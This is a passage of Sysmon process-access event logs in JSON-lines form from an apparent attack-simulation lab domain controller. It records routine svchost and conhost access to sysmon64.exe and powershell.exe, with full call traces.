C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.901","SourceProcessGUID":"{90617006-4376-5F2D-0000-0010B5ED1100}","SourceProcessId":"3360","SourceThreadId":"872","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","TargetProcessId":"2488","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 